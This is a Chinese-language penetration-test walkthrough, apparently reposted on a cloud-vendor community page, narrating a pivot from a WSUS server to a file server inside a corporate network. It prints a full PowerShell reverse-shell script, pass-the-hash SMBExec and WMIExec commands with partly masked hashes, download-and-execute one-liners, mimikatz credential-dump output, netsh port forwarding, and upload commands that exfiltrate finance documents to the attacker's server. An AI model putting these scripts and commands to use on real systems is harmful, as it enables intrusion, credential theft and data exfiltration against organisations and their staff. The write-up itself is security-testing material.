公司智慧手機安全(二)——瞄準WSUS伺服器

來源:互聯網
上載者:User

公司智慧手機安全(二)——瞄準WSUS伺服器。 經過掃描發現,有兩台主機能夠滿足我們的需求,給我們發送一個穩定的遠端shell。 他們分別是WSUS(Windows補救伺服器)和Antivirus(反病毒相關伺服器),因為這些服務必須有Internet存取權限才能更新資料庫,讓我們從第一個開始。

有一個有趣的問題,本地管理員的NTLM雜湊是否足以訪問此伺服器呢?也許我們的答案是肯定的。

在一家公司,所有伺服器都使用相同的本地管理員密碼其實很常見。 這常常與第一次創建伺服器有關系(非最佳實踐),第一次被創建的伺服器成為了範本,於是隨後部署的實例都保留了原有的管理員密碼。

經過一系列大型測試,現在事情變得更複雜了,我們有以下計畫:

將我們之前的Powershell腳本(r1.ps1)放到公共web伺服器上

function Invoke-r1

{

$client = New-Object Net.Sockets.TCPClient(‘’,80)

$stream = $client. GetStream(); [byte[]]$bytes = 0..65535|%{0}

while(($i = $stream. Read($bytes, 0, $bytes. Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding). GetString($bytes,0, $i)

$sendback = (iex $data 2>&1 | Out-String )

$sendback2 = $sendback + ‘PS ‘ + (pwd). Path + ‘> ‘

$sendbyte = ([text.encoding]::ASCII). GetBytes($sendback2)

$stream. Write($sendbyte,0,$sendbyte. Length)

$stream. Flush()

}

$client. Close()

}

用Tomcat的webshell上傳SMBExec(smb.ps1),這將允許我們傳遞雜湊進行身份驗證

我們稍微修改了原始的SMBExec腳本,添加了一些行用於自動化漏洞利用。 一旦被載入,它就會自動調用必要的參數連接到WSUS伺服器,在我們的伺服器下載反向shell到記憶體,然後執行

Invoke-SMBExec \

-Target \

-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX \

-Command \

「powershell `」IEX (New-Object Net.WebClient). DownloadString(`’HTTP:///r1.ps1`’); Invoke-r1`」」

這就是我們的一體化解決方案:自動執行的SMBExec,自動下載並執行的Powershell腳本

在webshell裡,我們執行了smb.ps1:

cmd /c powershell -executionpolicy bypass -f c:\tomcat\webapps\cmd\warfiles\smb.ps1

Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62

這次攻擊成功了,我們收到了來自SRVWSUS電腦的SYSTEM許可權的Shell:

connect to from 50341

PS C:\Windows\system32> whoami

nt authority\system

最終還是拿到了一個連接更穩定的shell,拜拜啦Android~

但現在我們的任務也與以前不同了,我們至今也沒能找到竊取機密資料的方法。

我們同樣注意到了,即使以本地管理員身份啟動了smb.ps1,SMBExec也會以SYSTEM許可權產生進程(記得之前的whoami結果嗎)。 或許使用wmiexec.ps1——一款強大的windows WMI介面的Powershell封裝工具——會更適合下面的任務,因為它會使用傳遞的憑據運行遠端進程。

我們再次運行mimikatz,依舊沒有什麼問題(我們是SYSTEM許可權),這次SRVWSUS直接傳遞給我們了反向shell,而無需再上傳檔。 記住,"mymy"是我們對mimikatz混淆後的名字。

PS C:\Windows\system32>iex (New-Object Net.WebClient). DownloadString(‘HTTP:///m.ps1’); Invoke-mymy

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 749566 (00000000:000b6ffe)

Session : Interactive from 2

User Name : administrator

Domain : SUPERCOMPANY

Logon Server : SRVDC1

Logon Time : 2/17/2017 4:23:28 PM

SID : S-1-5-21-3534665177-2148510708-2241433719-500

msv :

[00000003] Primary

* Username : Administrator

* Domain : SUPERCOMPANY

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

[00010000] CredentialKeys

* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SUPERCOMPANY

* Password : (null)

kerberos :

* Username : administrator

* Domain : SUPERCOMPANY. LOCAL

* Password : (null)

ssp : KO

credman :

Wow!域管理員在伺服器登錄過,我們拿到了域管理員的雜湊,收穫不小。

遊戲結束了嗎?並沒有!客戶是叫我們去竊取機密資訊,可我們還沒拿到任何機密檔。 可是我們現在知道應該在哪搜索了,檔案伺服器SRVFILE1

定位檔案伺服器(SRVFILE1)

還有什麼比檔案伺服器更適合搜索檔的地方嗎?有了域管理員的密碼雜湊,我們已經成功了一半了。 有了之前的一體化SMBExec,我們只需要把本地管理員雜湊替換為域管理員雜湊。

從SRVWSUS的反向shell開始,我們試著用之前相同的步驟攻擊伺服器,但這次失敗了。 經過若干次嘗試之後,我們得出結論,那台伺服器被配置為禁止訪問互聯網。

新伺服器需要新的計畫了,最新的計畫是用我們已有的SRVWSUS shell轉到SRVFILE1上

步驟如下:

使用netsh將發送到SRVWSUS 8888埠的所有流量都轉到攻擊者443埠

#SRVFILE1 SRVWSUS:8888 ATTACKER:443

netsh interface portproxy add v4tov4 listenport = 8888 listenaddress = 0.0.0.0 connectport = 443 connectaddress =

在SRVWSUS上傳第二個反向shell腳本r2.ps1,在我們的web伺服器上:

(New-Object Net.WebClient). DownloadFile(‘HTTP:///r2.ps1’, ‘c:\tmp\r2.ps1’)

r2.ps1與之前的腳本不同,因為它是連接到SRVWSUS而不是我們的公共IP

...

$client = New-Object System.Net.Sockets.TCPClient(‘’,8888)

...

* 在SRVWSUS上下載一個簡單的PowerShell HTTPServer:

# HTTP.ps1

start-job { # will execute in background

$p=」c:\tmp\」

$H=New-Object Net.HttpListener

$H.Prefixes.Add(「HTTP://+:8001/」)

$H.Start()

While ($H.IsListening) {

$HC=$H.GetCoNtext()

$HR=$HC. Response

$HR. Headers.Add(「Content-Type」,」text/plain」)

$file=Join-Path $p ($HC. Request). RawUrl

$text=[IO. File]::ReadAllText($file)

$text=[Text.Encoding]::UTF8. GetBytes($text)

$HR. ContentLength64 = $text. Length

$HR. OutputStream.Write($text,0,$text. Length)

$HR. Close()

}

$H.Stop()

}

啟動HTTP監聽並且放入後臺,SRVFILE1將從這裡下載我們的反向shell

PS C:\tmp> .\HTTP.ps1

我們用WMIExec代替了SMBExec,從我們的網路伺服器下載了SRVWSUS的wmiexec.ps1檔:

PS C:\tmp> (New-Object Net.WebClient). DownloadFile(‘HTTP:///wmiexec.ps1‘, ‘c:\tmp\wmiexec.ps1’)

The file contained the following Invoke-WMIExec function at the end:

Invoke-WMIExec \

-Target -Domain SUPERCOMPANY \

-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX \

-Command \

「powershell `」IEX (New-Object Net.WebClient). DownloadString(`’HTTP://:8001/r2.ps1`’); Invoke-r2`」」

運行wmiexec.ps1:

PS C:\tmp> .\wmiexec.ps1

Command executed with process ID 4756 on 192.168.178.195

在這個故事的末尾,我們非常「神奇」的從SRVFILE1得到了域管理員許可權的shell

connect to [our-webserver] from [company-ip] 49190

PS C:\Windows\system32> whoami

supercompany\administrator

這個圖像應該有助於瞭解這個流程:

在我們內網漫遊的最後階段,我們只需要找到幾個機密檔就好了。 快速查看過硬碟之後,我們發現了一些東西:

Directory: F:\Finance\Reserved

Mode LastWriteTime Length Name

—- ————- —— —-

-a— 9/24/2016 2:20 AM 164468 Supersecret.docx

-a— 5/29/2016 6:41 PM 12288 Balance.xlsx

...

這就是我們需要的檔!只需要把他們拿到手,就能夠證明漏洞了。

高興了五分鐘之後,我們反過來問自己:該怎樣拿到檔呢?首先試了試我們公網伺服器的FTP,但運氣不佳,對方公司的防火牆遮罩了服務。 所以我們決定通過HTTP上傳。

現在該是介紹我們鍾愛的PHP語言的時候了,沒錯,我們大愛PHP~

我們在公網web伺服器上用了一個簡單的上傳腳本

index.php

$pic = @$_FILES[‘pic’][‘name’];

$pic_loc = @$_FILES[‘pic’][‘tmp_name’];

echo (@move_uploaded_file($pic_loc,$pic)) ? 「DONE」 : 「ERROR」; ?>

接下來需要的就是一個帶有檔上傳功能的HTTP用戶端了。 Google一番,發現了一個極佳的Powershell腳本,於是上傳到了SRVWSUS,命名為upload.ps1

要傳送檔,就必須建立一個連接,在SRVWSUS上添加一條新的埠轉發規則,這次在8889埠:

# SRVFILE1 SRVWSUS:8889 ATTACKER:80

interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80 connectaddress=

設置好之後,就在SRVFILE1下載和執行了HTTP上傳腳本。 請注意,檔從SRVWSUS的8889埠下載,該埠映射到了我們伺服器上PHP運行的80埠。 我們的443埠映射的是SRVWSUS的8888埠,反向shell從那裡接收命令。

PS C:\tmp\>(New-Object Net.WebClient). DownloadFile(‘HTTP://:8889/up.ps1′,’c:\tmp\upload.ps1’)

PS C:\tmp\>. .\upload.ps1

PS C:\tmp> invoke-upload -infile f:\finance\reserved\Supersecret.docx -uri HTTP://:8889/

content:System.Net.Http.StreamContent

DONE

PS C:\tmp> invoke-upload -infile f:\finance\reserved\balance.xlsx -uri HTTP://:8889/

content:System.Net.Http.StreamContent

DONE

成功將機密檔轉竊取到了我們的web伺服器,任務完成!

這次我們沒有發現什麼太大的檔,如果有的話,可以用zip壓縮他們,powershell命令如下:

$src= 「f:\finance\」

$dst= 「c:\tmp\files.zip」

[Reflection.Assembly]::LoadWithPartialName(「System.IO.Compression.FileSystem」)

[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,[System.IO.Compression.CompressionLevel]::O ptimal,$true)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.